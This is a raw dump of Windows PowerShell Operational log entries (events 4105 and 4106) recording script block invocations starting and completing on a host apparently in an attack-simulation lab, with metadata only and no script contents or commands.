OpCode=On create calls
RecordNumber=2040738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040725
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040723
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040722
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040705
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040699
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
